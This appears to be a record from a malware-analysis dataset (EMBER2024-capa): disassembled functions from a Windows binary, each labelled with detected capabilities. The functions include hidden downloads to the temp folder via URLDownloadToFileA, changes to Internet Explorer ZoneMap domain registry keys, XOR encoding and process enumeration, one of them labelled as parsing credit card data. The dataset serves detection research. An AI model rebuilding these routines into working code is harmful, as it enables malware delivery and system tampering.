joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037758
Capabilities:
Parse credit card information

Disassembly:
mov eax, 0x1006924b
call fcn.100575f8
sub esp, 0x44
mov eax, dword [0x10084500]
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push str.COMMANDS
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], ebx
call fcn.10001636
mov esi, dword [edi + 4]
mov eax, dword [edi + 8]
cmp esi, eax
mov dword [ebp - 4], ebx
je 0x10037826
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.1000125d
mov eax, dword [esi + 0x18]
cmp eax, 9
mov byte [ebp - 4], 1
jne 0x100377be
push str.download
jmp 0x100378e0
cmp eax, 0xc
jne 0x100377cd
push 0x1008827c
jmp 0x100378e0
cmp eax, 0x35
jne 0x100377dc
push 0x10086730
jmp 0x100378e0
cmp eax, 0x1a
jne 0x10037866
push 0x1006ebd8
lea ecx, [ebp - 0x48]
call fcn.10003017
push 0x10088c04
lea ecx, [ebp - 0x48]
call fcn.10003017
push 0x1006ebc0
lea ecx, [ebp - 0x48]
call fcn.10003017
push ebx
lea ecx, [ebp - 0x2c]
push 1
mov byte [ebp - 4], bl
call fcn.10001293
add esi, 0x2c
cmp esi, dword [edi + 8]
jne 0x10037798
push 0x10073ed8
lea ecx, [ebp - 0x48]
call fcn.10003017
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x48]
push eax
call fcn.100015f3
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100568ae
leave
ret 4
cmp eax, 0x23
jne 0x10037872
push 0x10088ab4
jmp 0x100378e0
cmp eax, 0x24
jne 0x1003787e
push 0x1008801c
jmp 0x100378e0
cmp eax, 0x3b
jne 0x1003788a
push 0x10088adc
jmp 0x100378e0
cmp eax, 0x3e
jne 0x10037896
push 0x100863f0
jmp 0x100378e0
cmp eax, 0x42
jne 0x100378a2
push 0x10087cc4
jmp 0x100378e0
cmp eax, 0x3f
jne 0x100378ae
push 0x10089934
jmp 0x100378e0
cmp eax, 0x25
jne 0x100378ba
push 0x10088564
jmp 0x100378e0
cmp eax, 0x33
jne 0x100378c6
push 0x10089270
jmp 0x100378e0
cmp eax, 0x36
jne 0x100378d2
push 0x1008874c
jmp 0x100378e0
cmp eax, 0x39
jne 0x1003780c
push 0x1008882c
lea ecx, [ebp - 0x2c]
call fcn.10001619
push 0x1006ebd8
lea ecx, [ebp - 0x48]
call fcn.10003017
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10002e80
mov edi, dword [esi + 0xc]
jmp 0x1003792d
push 0x22
push 1
call fcn.10008675
push 0xffffffffffffffff
push ebx
push edi
lea ecx, [ebp - 0x48]
call fcn.10002e80
push 0x22
push 1
lea ecx, [ebp - 0x48]
call fcn.10008675
add edi, 0x1c
cmp edi, dword [esi + 0x10]
lea ecx, [ebp - 0x48]
jne 0x10037909
push 0x1006ebc0
call fcn.10003017
push ebx
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.10001293
mov edi, dword [ebp - 0x4c]
jmp 0x1003781a
Function at 0x1004ab7e
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea ecx, [ebp - 8]
push ecx
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_
push 0x80000001
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1004abd1
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 0x10
jb 0x1004abbb
mov eax, dword [eax + 4]
jmp 0x1004abbe
add eax, 4
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 4

Function at 0x1004b841
Capabilities:
Set registry value

Disassembly:
mov eax, 0x1006a5a7
call fcn.100575f8
sub esp, 0x28
mov eax, dword [0x10084500]
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZoneMapDomains_
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
call fcn.10001636
xor esi, esi
push 0xffffffffffffffff
push esi
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], esi
call fcn.10002e80
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x1004b889
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x30]
push ecx
push esi
push 0xf003f
push esi
push esi
push esi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1004b8d1
push 4
lea eax, [ebp - 0x34]
push eax
push 4
push esi
push str.http
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
call fcn.100568ae
leave
ret 4
Function at 0x10050932
Capabilities:
Get number of processors

Disassembly:
mov eax, 0x1006aa19
call fcn.100575f8
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
cmp dword [ebp + 8], ebx
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
je 0x10050957
mov dword [esi + 0xc], 0x10074420
mov ecx, esi
call fcn.1004f3f7
lea ecx, [esi + 0x10]
mov dword [ebp - 4], ebx
call fcn.10002e22
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
mov dword [esi + 0x2c], ebx
call fcn.1004f40a
lea ecx, [esi + 0x3c]
mov byte [ebp - 4], 2
call fcn.1004f41d
lea ecx, [esi + 0x48]
mov byte [ebp - 4], 3
call fcn.1004f41d
lea edi, [esi + 0x54]
push 1
mov ecx, edi
mov byte [ebp - 4], 4
call fcn.100507bd
push 1
lea ecx, [esi + 0x64]
mov byte [ebp - 4], 5
call fcn.100507f0
push edi
lea ecx, [esi + 0xe8]
mov byte [ebp - 4], 6
call fcn.1004fbd6
lea ecx, [esi + 0x154]
mov dword [esi + 0x150], ebx
call fcn.10002e22
push ebx
call fcn.10059e39
push eax
call fcn.100583bb
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x10050ab0
Capabilities:
Get number of processors

Disassembly:
mov eax, 0x1006aa89
call fcn.100575f8
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov edi, dword [esi + 0x2c]
test edi, edi
mov dword [ebp - 4], 8
je 0x10050a23
mov ecx, edi
call fcn.10046dba
push edi
call fcn.100569c0
and dword [esi + 0x2c], 0
pop ecx
lea edi, [esi + 0x150]
mov ebx, dword [edi]
test ebx, ebx
je 0x10050a40
mov ecx, ebx
call fcn.1003ae31
push ebx
call fcn.100569c0
and dword [edi], 0
pop ecx
push 0
push 1
lea ecx, [esi + 0x154]
call fcn.10001293
lea ecx, [esi + 0xe8]
mov byte [ebp - 4], 6
call fcn.1004fc0f
lea ecx, [esi + 0x64]
call fcn.10050857
lea ecx, [esi + 0x58]
call fcn.10050759
lea ecx, [esi + 0x48]
call fcn.100508c4
lea ecx, [esi + 0x3c]
call fcn.100507a6
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.10050916
push 0
push 1
lea ecx, [esi + 0x10]
call fcn.10001293
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.1004f526
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
push esi
mov esi, ecx
lea ecx, [esi + 0x1cc]
mov dword [esi], 0x10074428
call fcn.1000ddf8
lea ecx, [esi + 0x174]
call fcn.1000ddf8
lea ecx, [esi + 4]
pop esi
jmp 0x100509f0
Function at 0x10050c4e
Capabilities:
Download url
Get common file path
Receive data
Set file attributes

Disassembly:
mov eax, 0x1006aac5
call fcn.100575f8
sub esp, 0x17c
mov eax, dword [0x10084500]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0x188], ebx
push 0xf
pop edi
push ebx
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x68], edi
call fcn.1000125d
push 0xffffffffffffffff
push 0x1006d050
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.10027de3
mov esi, eax
cmp esi, 0xffffffff
jne 0x10050c9f
or esi, eax
lea eax, [ebp - 0x184]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x48]
call fcn.10001636
push 0xffffffffffffffff
inc esi
push esi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 2
call fcn.1000e891
cmp byte [ebp + 0x28], bl
push 0x10
mov byte [ebp - 4], 3
pop esi
je 0x10050d80
push ebx
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x4c], edi
call fcn.1000125d
cmp dword [ebp + 0x2c], ebx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x64]
je 0x10050d03
push 0x100744ac
jmp 0x10050d08
push 0x1006f9a8
call fcn.10001619
cmp dword [ebp - 0x14], esi
mov edi, dword [ebp - 0x28]
jae 0x10050d18
lea edi, [ebp - 0x28]
lea eax, [ebp + 0x28]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10005c44
push dword [eax]
lea eax, [ebp - 0x188]
push edi
push eax
lea ecx, [ebp - 0x2c]
call fcn.100064eb
push 8
pop edi
call fcn.100583c8
push 0x19
pop ecx
cdq
idiv ecx
lea ecx, [ebp - 0x2c]
add dl, 0x61
push edx
push 1
call fcn.10008675
dec edi
jne 0x10050d39
push 0x1006f090
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10002e80
push ebx
push 1
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 3
call fcn.10001293
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10002e80
cmp dword [ebp - 0x30], esi
mov ecx, dword [ebp - 0x44]
jae 0x10050d9a
lea ecx, [ebp - 0x44]
cmp dword [ebp + 0x24], esi
mov eax, dword [ebp + 0x10]
jae 0x10050da5
lea eax, [ebp + 0x10]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x10050dd6
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x80]
call fcn.100014f5
cmp dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x44]
jae 0x10050dcd
lea eax, [ebp - 0x44]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x80]
push eax
call fcn.100015f3
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.10001293
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.10001293
push ebx
push esi
lea ecx, [ebp - 0x80]
call fcn.10001293
push ebx
push esi
lea ecx, [ebp + 0xc]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100568ae
leave
ret
Function at 0x10053fed
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1006c864
mov dword [ebp - 4], 0xfdec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1005401b
xor dword [ebp - 4], 0x1221
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret

Function at 0x100540fd
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 0xc], ecx
jle 0x10054118
mov eax, dword [esp + 4]
mov dl, byte [esp + 8]
add eax, ecx
xor byte [eax], dl
inc ecx
cmp ecx, dword [esp + 0xc]
jl 0x10054105
ret

Function at 0x100541be
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x10084500]
push esi
push str.setupapi.dll
mov dword [ebp + 0x298], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x80], eax
je 0x100542f7
push ebx
push edi
push str.IsUserAdmin
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
lea eax, [ebp - 0x74]
push eax
call fcn.10053fed
lea eax, [ebp + 0x194]
mov dword [esp], str.SOFTWAREMicrosoft_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x78]
push eax
push 0x2001f
lea eax, [ebp + 0x194]
push esi
push eax
call ebx
neg eax
sbb eax, eax
neg eax
mov edi, 0x80000001
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10054283
push esi
lea eax, [ebp - 0x78]
push eax
push esi
push 0xf003f
push esi
push esi
lea eax, [ebp + 0x194]
push esi
push eax
call ebx
neg eax
sbb eax, eax
neg eax
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100542ec
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x90]
push eax
push esi
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
je 0x100542c7
push dword [ebp + 0x2a8]
call ebx
push eax
push dword [ebp + 0x2a8]
push 1
push esi
push esi
push dword [ebp - 0x78]
call edi
push dword [ebp + 0x2a4]
call ebx
push eax
push dword [ebp + 0x2a4]
push 1
push esi
push str.Version
push dword [ebp - 0x78]
call edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop ebx
mov ecx, dword [ebp + 0x298]
xor eax, eax
inc eax
pop esi
call fcn.100568ae
add ebp, 0x29c
leave
ret
Function at 0x10054403
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x1c0
mov eax, dword [0x10084500]
push ebx
push esi
mov dword [ebp + 0x74], eax
lea eax, [ebp - 0x10]
push edi
xor ebx, ebx
push eax
mov dword [ebp - 0x144], ebx
call fcn.10053fed
mov esi, str.SoftwareMicrosoft_
lea eax, [ebp - 0x13c]
push esi
push eax
call fcn.10057da0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.10057db0
lea eax, [ebp - 0xd8]
push esi
push eax
call fcn.10057da0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.10057db0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x24
lea eax, [ebp - 0x140]
push eax
mov edi, 0x2001f
push edi
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
call esi
test eax, eax
je 0x100544ad
lea eax, [ebp - 0x140]
push eax
push edi
push ebx
lea eax, [ebp - 0xd8]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10054504
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp - 0x140]
mov dword [ebp - 0x148], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x100544ec
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x1e
jle 0x100544ec
mov dword [ebp - 0x144], 1
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x144], ebx
jne 0x10054615
lea eax, [ebp - 0x74]
push eax
call fcn.10054065
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x10]
push eax
call fcn.10057da0
lea eax, [ebp + 0x10]
push 0x1006e4ac
push eax
call fcn.10057db0
lea eax, [ebp - 0x74]
push eax
call fcn.10054065
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x10]
push eax
call fcn.10057db0
add esp, 0x20
lea eax, [ebp + 0x10]
mov edi, 0x10084004
push eax
mov ecx, edi
call fcn.10001619
cmp dword [0x10084018], 0x20
jbe 0x10054596
lea eax, [ebp + 0x30]
mov esi, 0x10084020
push eax
mov ecx, esi
call fcn.10001619
cmp dword [0x10084038], 0x10
mov eax, dword [0x10084024]
jae 0x1005457d
mov eax, 0x10084024
cmp byte [eax], 0x26
jne 0x1005458c
push 1
push ebx
mov ecx, esi
call fcn.100012dc
push ebx
push 0x20
mov ecx, edi
call fcn.1001e67f
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ebx
lea eax, [ebp - 0x140]
push eax
push ebx
mov edi, 0xf003f
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
call esi
test eax, eax
je 0x100545df
push ebx
lea eax, [ebp - 0x140]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
lea eax, [ebp - 0xd8]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10054615
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp + 0x10]
push eax
push 1
push ebx
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x78
leave
ret
Function at 0x10054625
Capabilities:
Query or enumerate registry value
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x1c0
mov eax, dword [0x10084500]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push 0x10085cb0
mov dword [ebp + 0x74], eax
mov dword [ebp - 0x148], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100546c1
push 0x40
pop edi
push 2
push ebx
push 0xffffffffffffffc0
push esi
mov dword [ebp - 0x140], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x140]
push eax
push edi
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100546ba
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.10054039
test eax, eax
pop ecx
pop ecx
je 0x100546ba
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x74]
push eax
mov byte [ebp + 0x30], bl
call fcn.10057da0
pop ecx
pop ecx
mov dword [ebp - 0x148], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 0x54]
push eax
call fcn.10053fed
mov esi, str.SoftwareMicrosoft_
lea eax, [ebp - 0x13c]
push esi
push eax
call fcn.10057da0
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.10057db0
lea eax, [ebp - 0xd8]
push esi
push eax
call fcn.10057da0
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.10057db0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x24
lea eax, [ebp - 0x144]
push eax
mov edi, 0x2001f
push edi
push ebx
lea eax, [ebp - 0x13c]
push eax
push 0x80000002
call esi
test eax, eax
je 0x1005474d
lea eax, [ebp - 0x144]
push eax
push edi
push ebx
lea eax, [ebp - 0xd8]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10054789
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push dword [ebp - 0x144]
mov dword [ebp - 0x140], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x1005477d
mov dword [ebp - 0x148], 1
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x148], ebx
jne 0x100547b8
lea eax, [ebp - 0x10]
push eax
call fcn.10054065
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10057da0
lea eax, [ebp - 0x10]
push 0x1006e4ac
push eax
call fcn.10057db0
add esp, 0x14
lea eax, [ebp - 0x74]
mov edi, 0x10084004
push eax
mov ecx, edi
call fcn.10001619
cmp dword [0x10084018], 0x20
jbe 0x1005480d
lea eax, [ebp - 0x54]
mov esi, 0x10084020
push eax
mov ecx, esi
call fcn.10001619
cmp dword [0x10084038], 0x10
mov eax, dword [0x10084024]
jae 0x100547f4
mov eax, 0x10084024
cmp byte [eax], 0x26
jne 0x10054803
push 1
push ebx
mov ecx, esi
call fcn.100012dc
push ebx
push 0x20
mov ecx, edi
call fcn.1001e67f
mov ecx, dword [ebp + 0x74]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x78
leave
ret
Function at 0x10054c45
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x10084500]
push esi
push edi
mov dword [ebp + 0xa8], eax
mov edi, ecx
call fcn.10054b80
test al, al
je 0x10054cbe
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10054cb7
lea eax, [ebp - 0x80]
push eax
push esi
mov dword [ebp - 0x80], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x10054cac
cmp dword [ebp - 0x78], 0
je 0x10054ca2
push dword [ebp - 0x78]
mov ecx, edi
call fcn.10054a57
test al, al
jne 0x10054cd5
lea eax, [ebp - 0x80]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10054c8e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10054c23
xor al, al
mov ecx, dword [ebp + 0xa8]
pop edi
pop esi
call fcn.100568ae
add ebp, 0xac
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10054c23
mov al, 1
jmp 0x10054cc0

Function at 0x1005542b
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x10084500]
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.100553ad
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.10056960
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x1005548d
cmp dword [ebp - 0x1c], 5
jb 0x100554a5
jmp 0x100554a1
cmp dword [ebp - 0x10], 1
jne 0x100554a5
cmp dword [ebp - 0x1c], 4
ja 0x100554a1
jne 0x100554a5
cmp dword [ebp - 0x18], 0
jbe 0x100554a5
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x10075094
call fcn.1000111d
test eax, eax
jge 0x100554c6
mov byte [0x100854e0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
pop esi
call fcn.100568ae
add ebp, 0x78
leave
ret
Function at 0x10056604
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.10056840
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1005669f
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x1008a6bc]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x1005669f
cmp eax, 1
je 0x100566c0
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1005669f
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x1005666c
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x1005669b
xor eax, eax
inc eax
jmp 0x100566df
cmp edi, eax
jae 0x100566a3
xor eax, eax
jmp 0x100566df
cmp eax, esi
jae 0x100566aa
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x1008a6bc]
jmp 0x100566c3
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1005a6cd
Capabilities:
Terminate process

Disassembly:
push 8
push 0x100754e8
call fcn.100566e8
push 8
call fcn.1005c0d3
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x1008a6fc], esi
jne 0x1005a701
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x1008a6f8], esi
mov al, byte [ebp + 0x10]
mov byte [0x1008a6f4], al
cmp dword [ebp + 0xc], edi
jne 0x1005a74b
cmp dword [0x1008bfac], edi
je 0x1005a73b
mov eax, dword [0x1008bfa8]
sub eax, 4
mov dword [0x1008bfa8], eax
cmp eax, dword [0x1008bfac]
jb 0x1005a73b
mov eax, dword [eax]
cmp eax, edi
je 0x1005a71c
call eax
jmp 0x1005a71c
push 0x100831f0
mov eax, 0x100831e8
call fcn.1005a64b
pop ecx
push 0x100831fc
mov eax, 0x100831f4
call fcn.1005a64b
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x1005a77c
cmp dword [ebp + 0x10], edi
jne 0x1005a78a
mov dword [0x1008a6fc], esi
push dword [ebp + 8]
call fcn.1005a609
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x1005a789
push 8
call fcn.1005c01e
pop ecx
ret
call fcn.10056723
ret